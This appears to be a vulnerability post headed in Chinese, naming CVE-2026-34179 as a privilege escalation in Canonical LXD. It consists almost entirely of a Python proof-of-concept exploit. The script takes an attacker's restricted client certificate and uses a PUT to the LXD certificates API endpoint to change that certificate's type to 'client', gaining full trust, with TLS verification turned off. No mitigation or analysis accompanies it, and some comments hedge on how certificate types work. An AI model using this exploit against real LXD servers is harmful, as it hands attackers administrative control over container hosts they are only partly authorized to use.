CVE-2026-34179 Canonical LXD权限提升漏洞

import requests # Target LXD server URL TARGET_URL = "https://<LXD_IP>:8443" # Fingerprint of the attacker's restricted certificate CERT_FINGERPRINT = "<attacker_cert_fingerprint>" # Path to the attacker's client certificate and key CLIENT_CERT = "/path/to/client.crt" CLIENT_KEY = "/path/to/client.key" # The malicious payload to escalate privileges by changing the certificate type # In LXD, Type 0 is usually 'client' (full trust), Type 3 might be restricted depending on config. # The goal is to remove the restriction. payload = { "type": "client" # Escalating from restricted to full client/admin rights } endpoint = f"{TARGET_URL}/1.0/certificates/{CERT_FINGERPRINT}" # Sending the PUT request to update the certificate response = requests.put( endpoint, json=payload, cert=(CLIENT_CERT, CLIENT_KEY), verify=False # Ignore SSL verification for PoC purposes ) if response.status_code == 200: print("[+] Privilege escalation successful! Certificate type updated.") else: print(f"[-] Failed to escalate privileges. Status code: {response.status_code}") print(response.text)